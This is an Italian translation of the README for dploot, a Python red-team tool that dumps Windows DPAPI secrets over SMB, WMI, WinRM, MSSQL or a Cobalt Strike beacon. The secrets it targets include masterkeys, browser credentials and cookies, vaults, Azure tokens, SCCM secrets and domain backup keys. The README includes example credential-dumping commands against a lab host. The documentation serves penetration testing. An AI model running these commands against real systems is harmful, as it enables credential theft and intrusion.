dploot

dploot è una riscrittura in Python di SharpDPAPI scritto in C# da Harmj0y, che a sua volta è un port di DPAPI da Mimikatz di gentilkiwi. Implementa tutta la logica DPAPI di questi strumenti, ma questa volta è utilizzabile con un interprete Python e da un ambiente Linux.

Se non sai cos'è DPAPI, dai un'occhiata a questo post.

Indice

• dploot
  • Indice
  • Installazione
  • Utilizzo
    • Protocolli
    • Kerberos
  • Come usarlo
    • Accesso remoto via SMB
    • Accesso remoto via WMI
    • Accesso remoto via WinRM
    • Accesso remoto via MSSQL
    • Accesso al filesystem locale
    • Accesso remoto via Cobalt Strike
    • Come amministratore di dominio
    • Come non amministratore di dominio
  • Comandi
    • Triage utente
      • masterkeys
      • credentials
      • vaults
      • rdg
      • certificates
      • browser
      • cng
      • wam
      • mobaxterm
      • triage
    • Triage macchina
      • machinemasterkeys
      • machinecredentials
      • machinevaults
      • machinecertificates
      • machinecng
      • machinetriage
    • Varie
      • wifi
      • sccm
      • backupkey
      • blob
  • Riconoscimenti

Installazione

Puoi installare dploot direttamente da PyPI con pipx:

pipx install git+https://github.com/zblurx/dploot.git

O

pipx install dploot

Su Kali Linux, puoi installare dploot dai repository:

sudo apt install python3-dploot

Utilizzo

dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
              {backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
              ...

DPAPI looting in Python

positional arguments:
  {backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
                        Action
    backupkey           Backup Keys from domain controller
    blob                Decrypt DPAPI blob. Can fetch masterkeys on target
    browser             Dump users credentials and cookies saved in browser from local or remote target
    certificates        Dump users certificates from local or remote target
    cng                 Dump users CNG files blob from local or remote target
    credentials         Dump users Credential Manager blob from local or remote target
    machinecertificates
                        Dump system certificates from local or remote target
    machinecng          Dump system CNG files from local or remote target
    machinecredentials  Dump system credentials from local or remote target
    machinemasterkeys   Dump system masterkey from local or remote target
    machinetriage       Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
    machinevaults       Dump system vaults from local or remote target
    masterkeys          Dump users masterkey from local or remote target
    mobaxterm           Dump Passwords and Credentials from MobaXterm
    rdg                 Dump users saved password information for RDCMan.settings from local or remote target
    sccm                Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
    triage              Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
    vaults              Dump users Vaults blob from local or remote target
    wam                 Dump users cached azure tokens from local or remote target
    wifi                Dump wifi profiles from local or remote target

options:
  -h, --help            show this help message and exit

Protocolli

dploot v4.0.0+ supporta molteplici protocolli di rete per l'accesso remoto. Il protocollo viene selezionato tramite --protocol <protocol_name>. Ogni protocollo ha capacità e requisiti differenti:

• smb (predefinito): utilizza SMB/RPC per l'accesso remoto ai file e le operazioni sul registro. Funziona con la maggior parte dei target Windows. Supporta l'autenticazione Kerberos. Funziona con impacket
• wmi: utilizza Windows Management Instrumentation (DCOM) per l'esecuzione remota e le operazioni sul registro. Alternativa utile a SMB. Supporta l'autenticazione Kerberos. Funziona con impacket
• winrm: utilizza Windows Remote Management per operazioni basate su PowerShell. Comune negli ambienti moderni. Funziona con pypsrp
• mssql: si connette tramite MSSQL Server. Supporta sia l'autenticazione di dominio che quella locale del database. Supporta l'autenticazione Kerberos. Funziona con impacket
• local: accede direttamente a un filesystem Windows montato o copiato (nessuna connessione di rete necessaria). Utile per l'analisi offline di dischi fisici o immagini disco.
• cobaltstrike: esegue operazioni tramite un'API REST di un beacon Cobalt Strike. Utile per operazioni red team con infrastruttura Cobalt Strike.

Esempio con il protocollo WMI:

$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5

Esempio con protocollo locale (filesystem offline):

$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password

Note importanti sul supporto dei comandi:

• La maggior parte dei comandi supporta tutti i protocolli. Tuttavia, backupkey funziona solo con il protocollo SMB (richiede l'accesso al domain controller).
• Solo il protocollo smb supporta il dump LSA per estrarre automaticamente la chiave macchina DPAPI. Per gli altri protocolli, dovrai fornirla tu stesso con --dpapi-system-key.

Kerberos

dploot può autenticarsi con Kerberos per i protocolli smb, wmi e mssql. Usa -k per abilitare Kerberos con fallback a NTLM. Se vuoi usare un ticket in cache, usa --use-kcache. Per usare una chiave AES, usa --aesKey.

$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5

Come usarlo

L'obiettivo di dploot è semplificare il loot relativo a DPAPI da una macchina Linux. Come si utilizza questo strumento dipende dal proprio livello di accesso e dalla configurazione del target.

Accesso remoto tramite SMB

Il protocollo predefinito è SMB. Questo è l'approccio più comune per il loot di DPAPI e funziona con la condivisione file standard di Windows:

$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys